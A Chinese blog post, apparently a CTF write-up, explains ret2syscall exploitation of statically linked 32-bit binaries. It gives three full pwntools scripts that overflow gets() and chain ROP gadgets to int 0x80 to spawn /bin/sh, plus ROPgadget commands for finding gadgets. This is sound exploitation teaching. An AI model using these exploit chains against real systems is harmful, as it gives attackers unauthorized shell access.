当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。

  IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。

  IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。

 

  截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。

 1 from pwn import *
2
3 p = process('./ret2syscall')
4
5 binsh_addr = 0x080be408
6 pop_eax = 0x080bb196
7 pop_edx_ecx_ebx = 0x0806eb90
8 int80_addr = 0x08049421
9
10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
11
12 p.sendline(payload)
13 p.interactive()

  这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。

  

  

  直接main函数一个gets溢出,然后就没了。这道题是直接搜不出“/bin/sh”字符串的。但是其实如果真的掌握精髓的话,其实是可以拼接出“/bin/sh”字符串的,因为我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接过程中不知道该如何截断一个字符串。那么我们还能怎么办呢?既然是系统调用,那么我们不如调用一个read函数,来自己输入“/bin/sh”吧。

  自己输入“/bin/sh”的话,就需要我们调用两次int 80,但是,却怎么也打不通。

  

  这时候有师傅告诉我说,用ROPgadget这样搜索,搜出来也是系统调用,我怀着疑惑,用qira看一下。

  

  我们调用了两次int80,但是汇编只显示了一行,经过调试发现,当read执行完,执行shellcode的时候又会跳到第一个int80来系统调用。

  那我们再看一下,第一次搜索出来的int80为啥不行。。。

  

  发现这样调用之后,任务直接就中断了,就不会继续执行了。。。

  那么就总结出来了,如果只需要一次系统调用,可以用这种命令:ROPgadget --binary rop --only 'int'

  如果我们需要多次系统调用,就只能用这个命令来找int 0x80 :ROPgadget --binary rop --opcode cd80c3

  本题如果我们要自己输入“/bin/sh”的话,就需要用这个找到的地址了。

  那么我们贴一下这道题的exp:

 1 from pwn import *
2 import time
3
4 p = process('./rop')
5 #p = remote('127.0.0.1',4000)
6 elf = ELF('./rop')
7 context.log_level = 'debug'
8
9 pop_eax_edx_ebx = 0x08053d14
10 pop_ecx = 0x080595b3
11 ret = 0x080481b2
12 #int80 = 0x0806c405 #int80
13 int80 = 0x0806ef00 #ROPgadget --binary rop --opcode cd80c3
14 buf = elf.bss() + 0x300
15 payload = 'a'*22
16 payload += flat([
17 pop_eax_edx_ebx,
18 0x3,
19 0x10,
20 0x0,
21 pop_ecx,
22 buf,
23 int80,
24 pop_eax_edx_ebx,
25 0xb,
26 0x0,
27 buf,
28 pop_ecx,
29 0x0,
30 int80])
31 p.sendline(payload)
32 sleep(1)
33 p.send('/bin/sh\x00')
34 sleep(1)
35 p.sendline('cat flag.txt')
36 p.recv()
37 p.close()

  说到这里,其实也该完了,但是我发下ROPgadget是真的牛逼。他还有这么一行命令:

  

ROPgadget --binary rop --ropchain

  这行命令,会自己从程序里面找gadget片段,然后拼接出shellcode,如果这道题用这种方法做,我贴一下exp:

 1 from pwn import *
2 from struct import pack
3 import time
4
5 z = process('./rop')
6 #p = remote('127.0.0.1',4000)
7 elf = ELF('./rop')
8 context.log_level = 'debug'
9
10 p = 'a'*22
11
12 p += pack('<I', 0x0806e7da) # pop edx ; ret
13 p += pack('<I', 0x080ec080) # @ .data
14 p += pack('<I', 0x080b90f6) # pop eax ; ret
15 p += '/bin'
16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
17 p += pack('<I', 0x0806e7da) # pop edx ; ret
18 p += pack('<I', 0x080ec084) # @ .data + 4
19 p += pack('<I', 0x080b90f6) # pop eax ; ret
20 p += '//sh'
21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
22 p += pack('<I', 0x0806e7da) # pop edx ; ret
23 p += pack('<I', 0x080ec088) # @ .data + 8
24 p += pack('<I', 0x08049173) # xor eax, eax ; ret
25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
26 p += pack('<I', 0x080481c9) # pop ebx ; ret
27 p += pack('<I', 0x080ec080) # @ .data
28 p += pack('<I', 0x080595b3) # pop ecx ; ret
29 p += pack('<I', 0x080ec088) # @ .data + 8
30 p += pack('<I', 0x0806e7da) # pop edx ; ret
31 p += pack('<I', 0x080ec088) # @ .data + 8
32 p += pack('<I', 0x08049173) # xor eax, eax ; ret
33 p += pack('<I', 0x080be674) # inc eax ; ret
34 p += pack('<I', 0x080be674) # inc eax ; ret
35 p += pack('<I', 0x080be674) # inc eax ; ret
36 p += pack('<I', 0x080be674) # inc eax ; ret
37 p += pack('<I', 0x080be674) # inc eax ; ret
38 p += pack('<I', 0x080be674) # inc eax ; ret
39 p += pack('<I', 0x080be674) # inc eax ; ret
40 p += pack('<I', 0x080be674) # inc eax ; ret
41 p += pack('<I', 0x080be674) # inc eax ; ret
42 p += pack('<I', 0x080be674) # inc eax ; ret
43 p += pack('<I', 0x080be674) # inc eax ; ret
44 p += pack('<I', 0x0806c405) # int 0x80
45 z.sendline(p)
46 z.interactive()
47

  payload直接用自动生成的就可以,仔细阅读一下自动生成的,发现就是都是利用片段拼接,而且只调用了一次int 0x80,调用的这次也是咱们那个只能用一次的int 0x80的那个地址。这样,这种题目就算是分析透彻了。

  当然这种直接生成的payload一般都比较长,适用于gets函数,我做了一道题是read,因为限制长度就不能用。

  好了,分析就到这了。

再识ret2syscall的更多相关文章

  1. JS魔法堂:再识Number type

    Brief 本来只打算理解JS中0.1 + 0.2 == 0.30000000000000004的原因,但发现自己对计算机的数字表示和运算十分陌生,于是只好恶补一下.以下是恶补后的成果: 基础野:细说 ...

  2. JS魔法堂:再识IE的内存泄露

    一.前言 IE6~8除了不遵守W3C标准和各种诡异外,我想最让人诟病的应该是内存泄露的问题了.这阵子趁项目技术调研的机会好好的再认识一回,以下内容若有纰漏请大家指正,谢谢! 目录一大坨! 二.内存泄漏 ...

  3. C#再识委托

    从C#1到C#3逐步认识委托,由于C#4与C#5对委托改动并不大,故不作说明. 好久没看.NET了,一直在搞HybridAPP,都忘得差不多了,这也是自己从书中摘下笔迹,供日后翻阅. C# 1 1.什 ...

  4. Play再识 - 不放弃的执着

    从写Play初识时,前面各种称赞play如何如何解放java web开发,最后因为网络被墙而无法正常编译,从而想到放弃.从来都有成为web开发高手的想法,今天又再一次进行尝试,惊喜的是有新的进展. 首 ...

  5. [转]再识Cortex-M3之堆栈

    原地址https://blog.csdn.net/liaoxu02/article/details/48107651 Cortex-M3拥有通用寄存器R0-R15以及一些特殊功能寄存器.R0-R12是 ...

  6. HDU2157 How many ways矩阵再识

    春天到了, HDU校园里开满了花, 姹紫嫣红, 非常美丽. 葱头是个爱花的人, 看着校花校草竞相开放, 漫步校园, 心情也变得舒畅. 为了多看看这迷人的校园, 葱头决定, 每次上课都走不同的路线去教室 ...

  7. 【drp 12】再识转发和重定向:SpringMVC无法跳转页面

    最近再使用SpringMVC进行页面跳转的时候,不知道发生了什么,始终都无法正确跳转.后来问题解决了,发现是对于转发和重定向没有能很好的理解,以此写篇博客,权当做积累了! 声明:本博客的所有代码,均为 ...

  8. swift 再识枚举变量

    // Use enum to create an enumeration. Like classes and all other named types, enumerations can have ...

  9. 再识Quartz

    在之前的项目中使用过Quartz,但都是基于XML配置定义任务的.目前一个项目应用需要对任务进行创建.暂停.删除等动态管理.所以再次在网上翻了翻,再来好好重新认识下Quartz. 名词解释: sche ...

随机推荐

  1. react之路由

    功能:让用户从一个视图(组件)导航到另一个视图(组件) 前端路由是一套映射规则,在React中,是URL路径与组件的对应关系 使用React路由简单来说,就是配置路径和组件 路由的使用 1.安装路由 ...

  2. 【Java面试题】-- Java基本类型

    Java基本类型 2019-11-03  19:03:48  by冲冲 1.两个float型相减丢失精度,如何解决? 使用BigDemical装饰器模式 public class Test { pub ...

  3. es插件安装

    首先安装找到一样版本的地址: Release v7.6.1 · medcl/elasticsearch-analysis-ik (github.com) 下载最上面的编译版 将文件解压到plugins ...

  4. Codeforces 983E - NN country(贪心+倍增优化)

    Codeforces 题面传送门 & 洛谷题面传送门 一道(绝对)偏简单的 D1E,但是我怕自己过若干年(大雾)忘了自己的解法了,所以过来水篇题解( 首先考虑怎么暴力地解决这个问题,不难发现我 ...

  5. Python pandas merge不能根据列名合并两个数据框(Key Error)?

    目录 折腾 解决方法 折腾 数据分析用惯了R,感觉pandas用起来就有点反人类了.今天用python的pandas处理数据时两个数据框硬是合并不起来. 我有两个数据框,列名是未知的,只能知道索引,以 ...

  6. 【豆科基因组】绿豆Mungbean, Vigna radiata苏绿基因组预印

    目录 一.来源 二.结果 测序组装 组装评价 编码基因预测 基因功能注释 非编码RNA注释 假基因预测 重复序列注释 进化分析和分歧时间估计 全基因组复制 LTR插入时间估计 正选择基因 一.来源 H ...

  7. Jvarkit : Java utilities for Bioinformatics

    Jvarkit : Java utilities for Bioinformatics :一个java写的生物信息工具包:http://lindenb.github.io/jvarkit/

  8. /etc/sudoers 文件

    sudo的权限控制可以在/etc/sudoers文件中查看到 如果想要控制某个用户(或某个组用户)只能执行root权限中的一部分命令, 或者允许某些用户使用sudo时不需要输入密码 格式一般都是 ro ...

  9. R连接mysql数据库方法详解

    Warning messages: 1: In odbcDriverConnect("DSN=Rdata;UID=root") : [RODBC] ERROR: state IM0 ...

  10. Matlab | 绘制动态曲线(使用 animatedline 对象)

    效果如下: 示例代码: figure('Color','w'); h1 = animatedline; h1.Color = 'r'; h1.LineWidth = 1.0; h1.LineStyle ...